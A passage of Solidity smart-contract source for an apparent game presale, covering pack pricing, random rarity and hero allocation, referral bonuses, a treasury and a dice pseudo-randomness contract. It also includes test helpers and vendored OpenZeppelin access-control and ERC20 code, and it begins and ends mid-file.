potentialMythicAllocation = detailedAllocations[_mythicOrderLine]; return potentialMythicAllocation.heroPetType; } /// @notice Allocate stock /// @dev Function will throw underflow exception if insufficient stock function _allocateStock( uint16[] memory _order, address _owner, uint256 _orderPrice ) internal { require(_order.length == numProduct, "Unexpected number of orderlines"); _updateStockLevels(_order); uint256 firstDiceRoll = getFirstDiceRoll(_countStock()); AllocatedOrder memory ao = AllocatedOrder({firstDiceRoll: firstDiceRoll, order: _order}); emit AllocateOrder(ao, _owner, _orderPrice); } function _rarityAllocation(Rarity _originalRarity, uint256 _random) internal view returns (Rarity finalRarity) { uint256 score = _random % cMaxRandom; if (_originalRarity == Rarity.Rare) { if ( _diceWinRanged( score, 0, settings.rareToLegendaryUpgradeChance, cMaxRandom ) ) { return Rarity.Legendary; } else if ( _diceWinRanged( score, settings.rareToLegendaryUpgradeChance, settings.rareToLegendaryUpgradeChance + settings.rareToEpicUpgradeChance, cMaxRandom ) ) { return Rarity.Epic; } else { return Rarity.Rare; } } if (_originalRarity == Rarity.Epic) { if ( _diceWin( score, settings.epicToLegendaryUpgradeChance, cMaxRandom ) ) { return Rarity.Legendary; } else { return Rarity.Epic; } } return _originalRarity; } function _mythicAllocation(Rarity _rarity, uint256 _random) internal view returns (bool) { uint256 score = _random % cMaxRandom; if ( _rarity == Rarity.Rare && _diceWin(score, settings.rareHeroMythicChance, cMaxRandom) ) { return true; } if ( _rarity == Rarity.Epic && _diceWin(score, settings.epicHeroMythicChance, cMaxRandom) ) { return true; } if ( _rarity == Rarity.Legendary && _diceWin(score, settings.legendaryHeroMythicChance, cMaxRandom) ) { return true; } return false; } function _chromaAllocation(uint256 _random) internal view returns (uint8) { uint256 score = _random % cMaxRandom; if (_diceWin(score, settings.secondChromaChance, cMaxRandom)) { return 2; } if (_diceWin(score, settings.firstChromaChance, cMaxRandom)) { return 1; } return 0; } //[emailΒ protected] See https://docs.google.com/spreadsheets/d/1etc3RR2LN_mXRnbvh54p9ZYPrwtqKhGymdqUna_MJzY/edit#gid=142152434 for explanation function _heroTypeAllocation(Rarity _heroRarity, uint256 _random) internal view returns (uint8) { uint8 heroType; uint256 score = _random % cMaxRandom; if (_heroRarity == Rarity.Legendary) { // Assign a hero type between 1 and 8 heroType = uint8((score % cNumLegendaryHeroTypes) + 1); } else if (_heroRarity == Rarity.Epic) { // Assign a hero type between 9 and 19 heroType = uint8( (score % cNumEpicHeroTypes) + cNumLegendaryHeroTypes + 1 ); } else if (_heroRarity == Rarity.Rare) { // Assign a hero type between 20 and 35 heroType = uint8( (score % cNumRareHeroTypes) + cNumEpicHeroTypes + cNumLegendaryHeroTypes + 1 ); } return heroType; } function _petTypeAllocation(uint256 _random) internal view returns (uint8) { return uint8((_random % 3) + 1); } function _petRarityAllocation(uint256 _random) internal view returns (Rarity) { uint256 score = _random % cMaxRandom; uint256 startLimit = 0; if (_diceWinRanged(score, 0, settings.petLegendaryChance, cMaxRandom)) { return Rarity.Legendary; } startLimit += settings.petLegendaryChance; if ( _diceWinRanged( score, startLimit, settings.petEpicChance, cMaxRandom ) ) { return Rarity.Epic; } startLimit += settings.petEpicChance; if ( _diceWinRanged( score, startLimit, settings.petRareChance, cMaxRandom ) ) { return Rarity.Rare; } return Rarity.Common; } function _calcNumOrderLines(uint16[] memory _order) internal view returns (uint256) { require(_order.length == numProduct, "Unexpected number of orderlines"); uint256 numLines; for (uint256 i = 0; i < numProduct; i++) { numLines += _order[i]; } return numLines; } /// COST: /// @param _productId Product ID /// @return Dynamic cost of specified product in USD function getProductCostUsd(uint8 _productId) public view returns (uint256) { uint256 multiplier = 1 * 10**6; uint256 firstPrice = productPrices[_productId][uint256(Price.FirstSale)]; uint256 lastPrice = productPrices[_productId][uint256(Price.LastSale)]; uint256 itemsSold = originalStock[uint8(_productId)] - stockAvailable[uint8(_productId)]; if (itemsSold == 0) { return firstPrice; } uint256 relativePriceMovement = (itemsSold * multiplier) / originalStock[uint8(_productId)]; uint256 maxPriceChange = lastPrice - firstPrice; uint256 actualPriceChange = (maxPriceChange * relativePriceMovement) / multiplier; return firstPrice + actualPriceChange; } /// @param _productId Product ID /// @return Dynamic cost of specified product in ETH function getProductCostWei(uint8 _productId) public view returns (uint256) { return getWeiPrice(getProductCostUsd(_productId)); } /// @param _order Ordered quantity of each product type /// @return Total order cost in USD function calcOrderCostUsd(uint16[] memory _order) public view returns (uint256) { require(_order.length == numProduct, "Unexpected number of orderlines"); uint256 orderCost; for (uint8 i = 0; i < _order.length; i++) { orderCost += _calcOrderLineCost(i, _order[i]); } return orderCost; } /// @param _order Ordered quantity of each product type /// @return Total order cost in WEI function calcOrderCostWei(uint16[] memory _order) public view returns (uint256) { require(_order.length == numProduct, "Unexpected number of orderlines"); return getWeiPrice(calcOrderCostUsd(_order)); } function _calcOrderLineCost(uint8 _productId, uint16 _quantity) internal view returns (uint256) { return getProductCostUsd(_productId) * _quantity; } /// CART: /// @notice Allows a purchase to be made, allocates a random number determine product allocation, and adjusts stock levels function purchase(uint16[] memory _order, address _referrer) public payable { require(_order.length == numProduct, "Unexpected number of orderlines"); _enforceOrderLimits(_order); uint256 orderCostUsd = calcOrderCostUsd(_order); uint256 referrerBonusUsd; uint256 discountUsd; if (_referrer != address(0)) { (referrerBonusUsd, discountUsd) = _calcReferrals(orderCostUsd); } (uint112 usdReserve, uint112 ethReserve, uint32 blockTimestampLast) = usdEthPair.getReserves(); if (referrerBonusUsd > 0) { referrerBonuses[_referrer] += _calcWeiFromUsd( usdReserve, ethReserve, referrerBonusUsd ); } uint256 discountWei = _calcWeiFromUsd(usdReserve, ethReserve, discountUsd); uint256 netWei = _calcWeiFromUsd(usdReserve, ethReserve, orderCostUsd) - discountWei; require(msg.value >= netWei, "Insufficient funds"); _allocateStock( _order, msg.sender, orderCostUsd - referrerBonusUsd - discountUsd ); if (msg.value - netWei > 0) { (bool success, ) = payable(msg.sender).call{value: msg.value - netWei}(""); require(success, "Transfer failed"); } } /// @notice Gift packs /// @param _giftOrder Products to gift /// @param _giftRecipient Address of gift recipient function giftPack(uint16[] memory _giftOrder, address _giftRecipient) public { require( hasRole(PRODUCT_OWNER_ROLE, msg.sender), "Caller is not product owner" ); _enforceOrderLimits(_giftOrder); _allocateStock(_giftOrder, _giftRecipient, 0); emit GiftOrder(_giftRecipient); } /// @notice Add stock and immediately gift it /// @param _giftOrder Products to gift /// @param _giftRecipient Address of gift recipient function addStockAndGift(uint16[] memory _giftOrder, address _giftRecipient) public { require( hasRole(PRODUCT_OWNER_ROLE, msg.sender), "Caller is not product owner" ); require(!stockFixed, "No more stock can be added"); _enforceOrderLimits(_giftOrder); addStock(_giftOrder); _allocateStock(_giftOrder, _giftRecipient, 0); emit GiftOrder(_giftRecipient); } function _enforceOrderLimits(uint16[] memory _order) internal { require(_order.length == numProduct, "Unexpected number of orderlines"); for (uint256 i = 0; i < numProduct; i++) { require(_order[i] <= 100, "Max limit 100 per item"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping (address => bool) members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override { require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override { require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } pragma solidity >=0.8.0 <0.9.0; /** @notice Used to generate two dice rolls. These are pseudo-random numbers. The first dice roll is exploitable as any smart contract can determine its value. The second dice roll includes the first dice roll, as well as the hash of a future block. Therefore the second dice roll is not available at the time the first dice roll is committed to. Inspired by the concept of commit-reveal, but simplified to save gas. Requires a trusted party to roll the second dice. However anyone can choose to audit/verify the second dice roll. @dev maxDiceRoll - largest possible dice roll offset - number of blocks to look into the future for the second dice roll @author Immutable */ contract Dice { uint256 maxDiceRoll; uint8 offset; event SecondDiceRoll( uint256 indexed _firstDiceRoll, uint256 indexed _commitBlock, uint256 _secondDiceRoll ); /// @param _maxDiceRoll largest dice roll possible /// @param _offset how many blocks to look into the future for second dice roll constructor(uint256 _maxDiceRoll, uint8 _offset) { maxDiceRoll = _maxDiceRoll; offset = _offset; } /// @notice Take the exploitable 'random' number from a previous block already committed to, and enhance it with the blockhash of a later block /// @param _firstDiceRoll The exploitable 'random' number generated previously /// @param _commitBlock The block that _firstDiceRoll was generated in /// @return A new 'random' number that was not available at the time of _commitBlock function getSecondDiceRoll(uint256 _firstDiceRoll, uint256 _commitBlock) public view returns (uint256) { return _getSecondDiceRoll(_firstDiceRoll, _commitBlock); } /// @notice Take the exploitable 'random' number from a previous block that was already committed to, and enhance it with the blockhash of a later block. Emit this new number as an event. /// @param _firstDiceRoll The exploitable 'random' number generated previously /// @param _commitBlock The block that _firstDiceRoll was generated in function emitSecondDiceRoll(uint256 _firstDiceRoll, uint256 _commitBlock) public { emit SecondDiceRoll( _firstDiceRoll, _commitBlock, _getSecondDiceRoll(_firstDiceRoll, _commitBlock) ); } function _getSecondDiceRoll(uint256 _firstDiceRoll, uint256 _commitBlock) internal view returns (uint256) { return uint256( keccak256( abi.encodePacked( _firstDiceRoll, _getFutureBlockhash(_commitBlock) ) ) ) % maxDiceRoll; } function _getFutureBlockhash(uint256 _commitBlock) internal view returns (bytes32) { uint256 delta = block.number - _commitBlock; require(delta < offset + 256, "Called too late"); // Only the last 256 blockhashes are accessible to the smart contract require(delta >= offset + 1, "Called too early"); // The hash of commitBlock + offset isn't available until the following block bytes32 futureBlockhash = blockhash(_commitBlock + offset); require(futureBlockhash != bytes32(0), "Future blockhash empty"); // Sanity check to ensure we have a blockhash, which we will due to previous checks return futureBlockhash; } /// @notice Return a "random" number by hashing a variety of inputs such as the blockhash of the last block, the timestamp of this block, the buyers address, and a seed provided by the buyer. /// @dev This function is exploitable as a smart contract can see what random number would be generated and make a decision based on that. Must be used with getSecondDiceRoll() function getFirstDiceRoll(uint256 _userProvidedSeed) public view returns (uint256 randomNumber) { return uint256( keccak256( abi.encodePacked( blockhash(block.number - 1), block.timestamp, msg.sender, _userProvidedSeed ) ) ) % maxDiceRoll; } /// @return true '_chance%' of the time where _chance is a percentage to 2 d.p. E.g. 1050 for 10.5% /// @dev _random must be a random number between 0 and _maxDiceRoll function _diceWin( uint256 _random, uint256 _chance, uint256 _maxDiceRoll ) internal pure returns (bool) { return _random < (_maxDiceRoll * _chance) / _maxDiceRoll; } /// @dev _random must be a random number between 0 and _maxDiceRoll /// @return true when _random falls between _lowerLimit and _upperLimit, where limits are percentages to 2 d.p. E.g. 1050 for 10.5% function _diceWinRanged( uint256 _random, uint256 _lowerLimit, uint256 _upperLimit, uint256 _maxDiceRoll ) internal pure returns (bool) { return _random < (_maxDiceRoll * _upperLimit) / _maxDiceRoll && _random >= (_maxDiceRoll * _lowerLimit) / _maxDiceRoll; } } pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/access/AccessControl.sol"; import "./Constants.sol"; import "./interfaces/IUniswapV2Pair.sol"; contract ExchangeRate is Constants, AccessControl { address public usdEthPairAddress; uint256 constant cUsdDecimals = 2; IUniswapV2Pair usdEthPair; event UpdateUsdToEthPair(address _usdToEthPairAddress); constructor(address _usdEthPairAddress) { usdEthPairAddress = _usdEthPairAddress; usdEthPair = IUniswapV2Pair(_usdEthPairAddress); } /// @notice Set the uniswap liquidity pool used to determine exchange rate /// @param _usdEthPairAddress address of the contract function updateUsdToEthPair(address _usdEthPairAddress) public { require( hasRole(PRODUCT_OWNER_ROLE, msg.sender), "Caller is not product owner" ); usdEthPairAddress = _usdEthPairAddress; usdEthPair = IUniswapV2Pair(usdEthPairAddress); emit UpdateUsdToEthPair(_usdEthPairAddress); } /// @notice Calculate Wei price dynamically based on reserves on Uniswap for ETH / DAI pair /// @param _amountInUsd the amount to convert, in USDx100, e.g. 186355 for $1863.55 USD /// @return amount of wei needed to buy _amountInUsd function getWeiPrice(uint256 _amountInUsd) public view returns (uint256) { (uint112 usdReserve, uint112 ethReserve, uint32 blockTimestampLast) = usdEthPair.getReserves(); return _calcWeiFromUsd(usdReserve, ethReserve, _amountInUsd); } function _calcWeiFromUsd( uint112 _usdReserve, uint112 _ethReserve, uint256 _amountInUsd ) public pure returns (uint256) { return (_amountInUsd * _ethReserve * (10**18)) / (_usdReserve * (10**cUsdDecimals)); } } pragma solidity >=0.8.0 <0.9.0; contract Referral { uint16 referralDiscount; uint16 referrerBonus; mapping(address => uint256) public referrerBonuses; event WithdrawBonus(uint256 _amount, address _referrer); constructor(uint16 _referralDiscount, uint16 _referrerBonus) { referralDiscount = _referralDiscount; referrerBonus = _referrerBonus; } function withdrawBonus() public { uint256 amount = referrerBonuses[msg.sender]; require(amount > 0, "Nothing to withdraw"); referrerBonuses[msg.sender] = 0; (bool success, ) = payable(msg.sender).call{value: amount}(""); require(success, "Transfer failed"); emit WithdrawBonus(amount, msg.sender); } function _calcReferrals(uint256 _orderCost) internal view returns (uint256 toReferrer, uint256 discount) { toReferrer = (_orderCost * referrerBonus) / 10000; discount = (_orderCost * referralDiscount) / 10000; return (toReferrer, discount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } pragma solidity >=0.5.0; import "./interfaces/IUniswapV2Pair.sol"; contract UniswapV2PairTestable is IUniswapV2Pair { uint112 public reserveUsd; uint112 public reserveEth; constructor(uint112 _reserveUsd, uint112 _reserveEth) { reserveUsd = _reserveUsd; reserveEth = _reserveEth; } function getReserves() external view override returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ) { return (reserveUsd, reserveEth, 0); } function name() external pure override returns (string memory) { return ""; } function symbol() external pure override returns (string memory) { return ""; } function decimals() external pure override returns (uint8) { return 0; } function totalSupply() external view override returns (uint256) { return 0; } function balanceOf(address owner) external view override returns (uint256) { return 0; } function allowance(address owner, address spender) external view override returns (uint256) { return 0; } function approve(address spender, uint256 value) external override returns (bool) { return true; } function transfer(address to, uint256 value) external override returns (bool) { return true; } function transferFrom( address from, address to, uint256 value ) external override returns (bool) { return true; } function DOMAIN_SEPARATOR() external view override returns (bytes32) { return 0; } function PERMIT_TYPEHASH() external pure override returns (bytes32) { return 0; } function nonces(address owner) external view override returns (uint256) { return 0; } function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external override {} function MINIMUM_LIQUIDITY() external pure override returns (uint256) { return 0; } function factory() external view override returns (address) { return address(0); } function token0() external view override returns (address) { return address(0); } function token1() external view override returns (address) { return address(0); } function price0CumulativeLast() external view override returns (uint256) { return 0; } function price1CumulativeLast() external view override returns (uint256) { return 0; } function kLast() external view override returns (uint256) { return 0; } function mint(address to) external override returns (uint256 liquidity) { return 0; } function burn(address to) external override returns (uint256 amount0, uint256 amount1) { return (0, 0); } function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external override {} function skim(address to) external override {} function sync() external override {} function initialize(address, address) external override {} } pragma solidity >=0.8.0 <0.9.0; import "./GuildOfGuardiansPreSale.sol"; import "./UniswapV2PairTestable.sol"; contract GuildOfGuardiansPreSaleTestable is GuildOfGuardiansPreSale { uint256 blocksMined; constructor() GuildOfGuardiansPreSale(address(0)) { usdEthPair = new UniswapV2PairTestable( 58236923444502806606838391, 2755139645868413700552 ); usdEthPairAddress = address(usdEthPair); } function testingMine() public { blocksMined++; } function testingReceive() public payable {} function testingSetStockAvailable(uint256 productId, uint256 value) public { stockAvailable[productId] = value; } function testingSetMythicOwner(uint256 heroType, address newMythicOwner) public { mythicOwner[heroType] = newMythicOwner; } function testingSetStockFixed(bool _stockFixed) public { stockFixed = _stockFixed; } function testingAddReferrerBonuses(address _referrer, uint256 _amount) public { referrerBonuses[_referrer] += _amount; } function testDiceWin() public returns (bool) { assert(_diceWinRanged(0, 0, 100, 10000) == true); assert(_diceWinRanged(10, 0, 100, 10000) == true); assert(_diceWinRanged(90, 0, 100, 10000) == true); assert(_diceWinRanged(99, 0, 100, 10000) == true); assert(_diceWinRanged(100, 0, 100, 10000) == false); assert(_diceWinRanged(200, 0, 100, 10000) == false); assert(_diceWinRanged(500, 0, 100, 10000) == false); assert(_diceWinRanged(1000, 0, 100, 10000) == false); assert(_diceWinRanged(2000, 0, 100, 10000) == false); assert(_diceWinRanged(3000, 0, 100, 10000) == false); assert(_diceWinRanged(4000, 0, 100, 10000) == false); assert(_diceWinRanged(5000, 0, 100, 10000) == false); assert(_diceWinRanged(6000, 0, 100, 10000) == false); assert(_diceWinRanged(6000, 0, 100, 10000) == false); assert(_diceWinRanged(7000, 0, 100, 10000) == false); assert(_diceWinRanged(8000, 0, 100, 10000) == false); assert(_diceWinRanged(9000, 0, 100, 10000) == false); assert(_diceWinRanged(10000, 0, 100, 10000) == false); } } pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/access/AccessControl.sol"; import "./Dice.sol"; import "./Treasury.sol"; import "./Constants.sol"; import "./Inventory.sol"; /// @title Guild of Guardians PreSale Contract /// @author Marc Griffiths /// @notice This contract will be used to presale in game items for Guild of Guardians contract GuildOfGuardiansPreSale is Constants, AccessControl, Treasury, Inventory { constructor(address _usdEthPairAddress) Inventory(_usdEthPairAddress) { // Initialise roles _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(PRODUCT_OWNER_ROLE, msg.sender); _setupRole(TREASURER_ROLE, msg.sender); _setupRole(IMMUTABLE_SYSTEM_ROLE, msg.sender); // Initialise chroma and upgrade chance, to 2 d.p. 200 is 2.00% settings.firstChromaChance = 1200; settings.secondChromaChance = 200; settings.rareToEpicUpgradeChance = 400; settings.rareToLegendaryUpgradeChance = 100; settings.epicToLegendaryUpgradeChance = 500; settings.petRareChance = 2700; settings.petEpicChance = 1000; settings.petLegendaryChance = 300; settings.rareHeroMythicChance = 3; settings.epicHeroMythicChance = 8; settings.legendaryHeroMythicChance = 22; // Initialise prices in USD, to 2 d.p 900 is $9.00 productPrices[uint256(Product.RareHeroPack)][ uint256(Price.FirstSale) ] = 1000; productPrices[uint256(Product.RareHeroPack)][ uint256(Price.LastSale) ] = 1250; productPrices[uint256(Product.EpicHeroPack)][ uint256(Price.FirstSale) ] = 4400; productPrices[uint256(Product.EpicHeroPack)][ uint256(Price.LastSale) ] = 5500; productPrices[uint256(Product.LegendaryHeroPack)][ uint256(Price.FirstSale) ] = 20000; productPrices[uint256(Product.LegendaryHeroPack)][ uint256(Price.LastSale) ] = 25000; productPrices[uint256(Product.PetPack)][ uint256(Price.FirstSale) ] = 6000; productPrices[uint256(Product.PetPack)][uint256(Price.LastSale)] = 7500; productPrices[uint256(Product.EnergyToken)][ uint256(Price.FirstSale) ] = 12000; productPrices[uint256(Product.EnergyToken)][ uint256(Price.LastSale) ] = 15000; productPrices[uint256(Product.BasicGuildToken)][ uint256(Price.FirstSale) ] = 16000; productPrices[uint256(Product.BasicGuildToken)][ uint256(Price.LastSale) ] = 20000; productPrices[uint256(Product.Tier1GuildToken)][ uint256(Price.FirstSale) ] = 320000; productPrices[uint256(Product.Tier1GuildToken)][ uint256(Price.LastSale) ] = 400000; productPrices[uint256(Product.Tier2GuildToken)][ uint256(Price.FirstSale) ] = 1600000; productPrices[uint256(Product.Tier2GuildToken)][ uint256(Price.LastSale) ] = 2000000; productPrices[uint256(Product.Tier3GuildToken)][ uint256(Price.FirstSale) ] = 8000000; productPrices[uint256(Product.Tier3GuildToken)][ uint256(Price.LastSale) ] = 10000000; // Initialise stock levels originalStock[uint256(Product.RareHeroPack)] = 0; originalStock[uint256(Product.EpicHeroPack)] = 0; originalStock[uint256(Product.LegendaryHeroPack)] = 0; originalStock[uint256(Product.EnergyToken)] = 0; originalStock[uint256(Product.BasicGuildToken)] = 0; originalStock[uint256(Product.Tier1GuildToken)] = 0; originalStock[uint256(Product.Tier2GuildToken)] = 0; originalStock[uint256(Product.Tier3GuildToken)] = 0; originalStock[uint256(Product.PetPack)] = 0; stockAvailable[uint256(Product.RareHeroPack)] = 0; stockAvailable[uint256(Product.EpicHeroPack)] = 0; stockAvailable[uint256(Product.LegendaryHeroPack)] = 0; stockAvailable[uint256(Product.EnergyToken)] = 0; stockAvailable[uint256(Product.BasicGuildToken)] = 0; stockAvailable[uint256(Product.Tier1GuildToken)] = 0; stockAvailable[uint256(Product.Tier2GuildToken)] = 0; stockAvailable[uint256(Product.Tier3GuildToken)] = 0; stockAvailable[uint256(Product.PetPack)] = 0; } } pragma solidity >=0.8.0 <0.9.0; import "./Constants.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; contract Treasury is Constants, AccessControl { event Withdraw(uint256 _amount); function withdraw(uint256 _amount) public { require(hasRole(TREASURER_ROLE, msg.sender), "Caller is not treasurer"); (bool success, ) = payable(msg.sender).call{value: _amount}(""); require(success, "Transfer failed"); emit Withdraw(_amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = 